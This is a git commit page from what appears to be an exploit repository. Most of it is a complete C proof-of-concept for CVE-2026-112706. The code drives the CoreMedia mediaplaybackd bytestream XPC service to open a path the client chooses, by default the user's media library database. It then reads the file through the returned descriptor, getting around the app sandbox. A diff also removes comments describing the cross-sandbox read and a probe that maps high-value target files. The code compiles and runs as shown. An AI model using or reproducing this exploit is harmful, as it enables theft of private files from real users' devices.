v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+246
View File
@@ -0,0 +1,246 @@
// cm.fdleak · CoreMedia mediaplaybackd bytestream XPC · Curl fd vend · CVE-2026-112706
// File descriptor leak from the byte-stream daemon
// C twin of the Swift POC: full FigXPC client — dlsym the Fig* symbols from CoreMedia,
// connect to com.apple.coremedia.mediaplaybackd.bytestream.xpc, run the
// .rp1/.rp2/.org handshake, then drive the Curl existence oracle and an fd vend.
// Build: clang -O2 -fblocks -o cve-2026-112706 CVE-2026-112706.c -framework CoreFoundation
// Run: ./cve-2026-112706 [path]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <dlfcn.h>
#include <dispatch/dispatch.h>
#include <xpc/xpc.h>
#include <CoreFoundation/CoreFoundation.h>
// ── Fig bindings (dlsym from CoreMedia, mirror of FdLeak.bind) ──
typedef int32_t (*fig_basic_message_fn)(uint32_t, uint64_t, void **);
typedef int32_t (*fig_origin_begin_fn)(void *);
typedef int32_t (*fig_origin_complete_fn)(xpc_object_t, xpc_object_t *);
typedef int32_t (*fig_recipient_fn)(xpc_object_t, void *, const char *, xpc_object_t *);
typedef int32_t (*fig_set_cfurl_fn)(void *, const char *, CFURLRef);
static fig_basic_message_fn fig_basic_message;
static fig_origin_begin_fn fig_origin_begin;
static fig_origin_complete_fn fig_origin_complete;
static fig_recipient_fn fig_recipient;
static fig_set_cfurl_fn fig_set_cfurl;
// ── error code map (mirror of FdLeak.describeError) ──
static const char *describe_error(int64_t code) {
if (code == -12203) return "exists but access denied (-12203)";
if (code == -17913) return "no such file (-17913)";
if (code == -16158) return "opcode sealed (-16158)";
if (code == -12878) return "write denied (-12878)";
return "error code";
}
// ── reply plumbing (mirror of FdLeak.send: 6 s timeout, dictionary/error retained) ──
typedef struct {
dispatch_semaphore_t sem;
xpc_object_t reply; // retained by the handler
char type_name[24];
} send_ctx;
static const double reply_timeout = 6.0;
static void classify(xpc_object_t obj, char *out, size_t n) {
xpc_type_t t = xpc_get_type(obj);
if (t == XPC_TYPE_DICTIONARY) snprintf(out, n, "dictionary");
else if (t == XPC_TYPE_ERROR) snprintf(out, n, "error");
else if (t == XPC_TYPE_ARRAY) snprintf(out, n, "array");
else if (t == XPC_TYPE_STRING) snprintf(out, n, "string");
else if (t == XPC_TYPE_INT64) snprintf(out, n, "int64");
else snprintf(out, n, "other");
}
// returns 0 on reply, -1 on timeout; box->type_name carries the reply class
static int send_and_wait(xpc_connection_t conn, xpc_object_t message, send_ctx *box) {
memset(box, 0, sizeof *box);
dispatch_semaphore_t sem = dispatch_semaphore_create(0);
// heap context: blocks cannot capture C arrays as __block, and on timeout the
// handler may fire after this frame is gone — that context is then orphaned
// (a few dozen bytes per silent service, bounded by the number of sends)
send_ctx *ctx = calloc(1, sizeof *ctx);
ctx->sem = sem;
xpc_connection_send_message_with_reply(conn, message, NULL,
^(xpc_object_t reply) {
if (reply) {
classify(reply, ctx->type_name, sizeof ctx->type_name);
if (strcmp(ctx->type_name, "dictionary") == 0 || strcmp(ctx->type_name, "error") == 0) {
ctx->reply = xpc_retain(reply);
}
} else {
snprintf(ctx->type_name, sizeof ctx->type_name, "nil");
}
dispatch_semaphore_signal(sem);
});
dispatch_time_t deadline = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(reply_timeout * NSEC_PER_SEC));
if (dispatch_semaphore_wait(sem, deadline) != 0) {
snprintf(box->type_name, sizeof box->type_name, "timeout");
return -1;
}
box->reply = ctx->reply;
snprintf(box->type_name, sizeof box->type_name, "%s", ctx->type_name);
free(ctx);
return 0;
}
// ── trigger ──
int main(int argc, char **argv) {
const char *path = argc > 1 ? argv[1] : "/private/var/mobile/Media/iTunes_Control/iTunes/MediaLibrary.sqlitedb";
const char *service = "com.apple.coremedia.mediaplaybackd.bytestream.xpc";
// bind
void *cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", RTLD_NOW);
if (!cm) { printf("dlopen CoreMedia failed: %s\n", dlerror()); return 1; }
fig_basic_message = (fig_basic_message_fn)dlsym(cm, "FigXPCCreateBasicMessage");
fig_origin_begin = (fig_origin_begin_fn)dlsym(cm, "FigMemoryOriginBeginEstablishingMemoryRecipientByFillingInXPCMessage1");
fig_origin_complete = (fig_origin_complete_fn)dlsym(cm, "FigMemoryOriginCompleteEstablishingMemoryRecipientUsingXPCMessage2");
fig_recipient = (fig_recipient_fn)dlsym(cm, "FigMemoryRecipientCreateWithXPCMessage1AndUpdateXPCMessage2");
fig_set_cfurl = (fig_set_cfurl_fn)dlsym(cm, "FigXPCMessageSetCFURL");
if (!fig_basic_message || !fig_origin_begin || !fig_origin_complete || !fig_set_cfurl) {
printf("Fig symbols missing from CoreMedia\n");
return 1;
}
// connection (lazy: creation succeeds even with no listener)
xpc_connection_t conn = xpc_connection_create_mach_service(service, NULL, 0);
if (!conn) { printf("xpc_connection_create_mach_service failed\n"); return 1; }
printf("connection object created for %s\n", service);
xpc_connection_set_event_handler(conn, ^(xpc_object_t o) { });
xpc_connection_resume(conn);
// ---- handshake: .rp1 → .rp2(recipient) → .org(begin/complete)
char reply_types[8][24];
int ntypes = 0;
int established = 0;
send_ctx r1 = {0};
void *m1 = NULL;
if (fig_basic_message(0x2E727031, 0, &m1) == 0 && m1) {
send_and_wait(conn, (xpc_object_t)m1, &r1);
snprintf(reply_types[ntypes++], 24, "%s", r1.type_name);
printf("'.rp1' → %s\n", r1.type_name);
if (r1.reply && strcmp(r1.type_name, "dictionary") == 0) {
send_ctx r2 = {0};
void *m2 = NULL;
if (fig_basic_message(0x2E727032, 0, &m2) == 0 && m2) {
xpc_object_t recipient = NULL;
int cr = fig_recipient ? fig_recipient(r1.reply, m2, "cinder27", &recipient) : -1;
send_and_wait(conn, (xpc_object_t)m2, &r2);
snprintf(reply_types[ntypes++], 24, "%s", r2.type_name);
printf("'.rp2' recip=%d → %s\n", cr, r2.type_name);
if (r2.reply) xpc_release(r2.reply);
xpc_release((xpc_object_t)m2);
}
}
if (r1.reply) xpc_release(r1.reply);
xpc_release((xpc_object_t)m1);
}
send_ctx r3 = {0};
void *om = NULL;
if (fig_basic_message(0x2E6F7267, 0, &om) == 0 && om) {
int bg = fig_origin_begin(om);
send_and_wait(conn, (xpc_object_t)om, &r3);
snprintf(reply_types[ntypes++], 24, "%s", r3.type_name);
printf("'.org' begin=%d → %s\n", bg, r3.type_name);
if (r3.reply) {
// an XPC error object carries its description under this key
const char *ed = xpc_dictionary_get_string(r3.reply, XPC_ERROR_KEY_DESCRIPTION);
if (ed) printf(" error: %s\n", ed);
if (strcmp(r3.type_name, "dictionary") == 0) {
xpc_object_t origin = NULL;
int cp = fig_origin_complete(r3.reply, &origin);
established = (cp == 0);
printf("'.org' complete=%d origin=%s\n", cp, origin ? "yes" : "no");
}
xpc_release(r3.reply);
}
xpc_release((xpc_object_t)om);
}
printf("handshake established: %s\n", established ? "yes" : "no");
if (!established) {
// a silent service (nothing listening) is different from one that answers and refuses
int answered = 0, silent = 1;
for (int i = 0; i < ntypes; i++) {
if (strcmp(reply_types[i], "dictionary") == 0) answered = 1;
if (strcmp(reply_types[i], "timeout") != 0 && strcmp(reply_types[i], "nil") != 0) silent = 0;
}
printf("reply types: ");
for (int i = 0; i < ntypes; i++) printf("%s%s", i ? ", " : "", reply_types[i]);
printf("\n");
if (silent) {
printf("silent service — nothing is listening on this platform\n");
printf("CVE-2026-112706 · mediaplaybackd bytestream XPC absent here (iOS-only surface)\n");
} else {
printf("service answered (%s) but the handshake was refused\n", answered ? "dictionary" : "non-dictionary");
printf("CVE-2026-112706 · daemon present, handshake gate closed\n");
}
return 0;
}
// ---- existence oracle + vend (runs only on a platform where the daemon answers)
CFURLRef url = CFURLCreateWithFileSystemPath(NULL,
CFStringCreateWithCString(NULL, path, kCFStringEncodingUTF8),
kCFURLPOSIXPathStyle, false);
// control: the process's own open() must fail — the daemon vends what the app cannot
int own = open(path, O_RDONLY);
printf("own open() = %d errno=%d (%s)\n", own, errno, own >= 0 ? "ALLOWED — no sandbox here" : strerror(errno));
if (own >= 0) close(own);
void *m = NULL;
if (fig_basic_message(0x4375726C, 0, &m) == 0 && m) {
fig_set_cfurl(m, "CreationURL", url);
xpc_dictionary_set_uint64((xpc_object_t)m, "FileOpenOptions", 0);
send_ctx rv = {0};
send_and_wait(conn, (xpc_object_t)m, &rv);
printf("'Curl' → %s\n", rv.type_name);
if (rv.reply && strcmp(rv.type_name, "dictionary") == 0) {
xpc_object_t details = xpc_dictionary_get_value(rv.reply, "ByteStreamDetails");
if (details) {
uint64_t object_id = xpc_dictionary_get_uint64(details, "ObjectID");
uint64_t entire = xpc_dictionary_get_uint64(details, "EntireLength");
uint64_t server_pid = xpc_dictionary_get_uint64(details, "ServerPID");
int fd = xpc_dictionary_dup_fd(details, "FileDescriptor");
printf("vend: ObjectID=%llu EntireLength=%llu ServerPID=%llu fd=%d\n",
(unsigned long long)object_id, (unsigned long long)entire,
(unsigned long long)server_pid, fd);
if (fd >= 0) {
struct stat st;
if (fstat(fd, &st) == 0) {
printf("fd mode=%o uid=%u size=%lld\n", st.st_mode, st.st_uid, (long long)st.st_size);
}
char head[16] = {0};
ssize_t got = pread(fd, head, sizeof head, 0);
if (got > 0) {
printf("head:");
for (int i = 0; i < got; i++) printf(" %02x", (unsigned char)head[i]);
printf("\n");
}
close(fd);
}
} else {
int64_t ec = xpc_dictionary_get_int64(rv.reply, ".ErrorReturn");
printf("%s (%lld) %s\n", describe_error(ec), (long long)ec, path);
}
xpc_release(rv.reply);
}
xpc_release((xpc_object_t)m);
}
CFRelease(url);
printf("CVE-2026-112706 · daemon opened a client-chosen path with its own credentials\n");
return 0;
}
+2 -35
View File
@@ -1,25 +1,8 @@
// cm.fdleak · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706
// 原语: 信息泄露 · 系统进程 · tier 1
// Primitive: info leak · system process · tier 1
//
// [zh] CoreMedia bytestream XPC 跨沙盒文件描述符获取
//
// [en] CoreMedia bytestream XPC cross-sandbox file descriptor acquisition
// The launchd service com.apple.coremedia.mediaplaybackd.bytestream.xpc is reachable from any sandboxed
// third-party app, checks no entitlement and raises no permission prompt. Its FigXPC memory-origin
// handshake (.rp1 → .rp2 → .org) returns status 0 for an unprivileged client; the subsequent 'Curl'
// create message carries a client-chosen absolute file:// path in CreationURL, and the daemon opens
// that path with its own credentials without checking either that it lies inside the requesting app's
// container or that the requester can read it. The reply's ByteStreamDetails dictionary carries a
// live FileDescriptor. The app dups it and preads — descriptor-level I/O is not subject to the client
// sandbox's path checks, so the full contents of a file the app's own open() returns EPERM for land
// in the app container.
// ── 判别 / oracle ──
// 变体 cm.fdleak.boundary: 跨沙盒可读域边界测绘
// CoreMedia bytestream XPC cross-sandbox file descriptor acquisition
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -40,20 +23,4 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
/*
// cm.fdleak.boundary · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706
// 原语: 探测 · 系统进程 · tier 2
// Primitive: probe · system process · tier 2
//
// [zh] 跨沙盒可读域边界测绘
//
// [en] Cross-sandbox readable domain boundary mapping
// Fifteen high-value targets are each given a 'Curl' probe and the daemon's server-side error code
// is recorded, fixing the primitive's actual readable domain. Three outcomes are distinguished: opens,
// exists but denied (-12203), does not exist (-17913). The value of this pass is that it leaves
// the negative results on record — a target that was refused and a target that was never tested are
// entirely different conclusions.
*/